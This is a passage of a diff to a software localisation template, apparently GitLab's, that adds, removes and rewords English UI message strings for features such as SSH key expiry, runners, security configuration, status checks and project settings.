msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28362,6 +28805,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
